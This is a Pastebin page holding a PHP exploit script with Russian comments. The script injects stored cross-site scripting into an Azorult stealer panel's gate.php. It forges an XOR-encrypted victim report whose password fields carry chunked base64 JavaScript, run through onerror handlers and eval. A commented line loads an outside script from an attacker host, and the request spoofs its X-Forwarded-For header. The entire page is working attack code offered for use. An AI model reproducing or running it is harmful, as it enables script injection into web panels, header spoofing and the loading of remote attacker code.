Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2018
1,113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.36 KB | None | 0 0
  1. <?php
  2. /////////////
  3. // Домен с вашим скриптом
  4. $xss="http://attacker/xss.js";
  5. // Адрес гейта
  6. $url="http://azorult30/gate.php";
  7. //////////////
  8. ///
  9. /// Дальше не трогать - магия
  10. ///
  11.  
  12. //$js_payload = base64_encode('t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="'.$xss.'";t.appendChild(n);');
  13. $js_payload = base64_encode("alert('This is xss with no lenght limit.'); ");
  14. $js_payload = str_replace("=","",$js_payload);
  15.  
  16. $lol = true;
  17. $j=0; $result=array();
  18. for($i=0;$i<=strlen($js_payload)+7;$i=$i+7){
  19. $kek = "1234567890abcdefghijklmnpoABCDEFGHIJKLMNPO";
  20. if(!empty(substr($js_payload,$i,7))){
  21. if($lol){
  22. $result[] = $kek[$j]." onerror=a=/".substr($js_payload,$i,7)."/.source ";
  23. $lol = false;
  24. }else{
  25. $result[] = $kek[$j]." onerror=a%2B=/".substr($js_payload,$i,7)."/.source ";
  26. }
  27. }
  28. $j++;
  29. }
  30. $result[] = "X onerror=b%3DBase64.decode(a) ";
  31. $result[] = "../Z onerror=eval(b) ";
  32. $n="";
  33. $i=count($result)+3;
  34. foreach($result as $l){
  35. while($i>$k){
  36. $n.="1|".$l."|http://anonchik.com|tobi|pizda|admin|pass\r\n";
  37. $k++;
  38. }
  39. $k=0;
  40. $i--;
  41. }
  42.  
  43. $guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
  44. $payload ="reportdata=<info".$guid.">|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
  45. <pwds".$guid.">
  46. ".$n."
  47. </pwds".$guid.">
  48. <coks".$guid.">
  49. </coks".$guid.">
  50. <list".$guid.">
  51. </list".$guid.">
  52. <file".$guid.">
  53. </file".$guid.">";
  54.  
  55. $xorkey = chr(254).chr(41).chr(54);
  56. $data=CB_XORm($payload, $xorkey, 1024*512);
  57. function httpPost($url, $data){
  58. $curl = curl_init($url);
  59. curl_setopt($curl, CURLOPT_POST, true);
  60. curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
  61. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  62. curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
  63. $response = curl_exec($curl);
  64. curl_close($curl);
  65. return $response;
  66. }
  67.  
  68. function CB_XORm($data, $key, $max){
  69. $datalen=strlen($data);
  70. $keylen=strlen($key);
  71. if ($datalen>=$max) $datalen=$max;
  72. $j=0;
  73. for($i=0;$i<$datalen; $i++){
  74. $data[$i] = chr(ord($data[$i])^ord($key[$j]));
  75. $j++;
  76. if($j>($keylen-1)) $j=0;
  77. }
  78. return $data;
  79. }
  80. httpPost($url, $data);
  81. echo $url." injected!";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement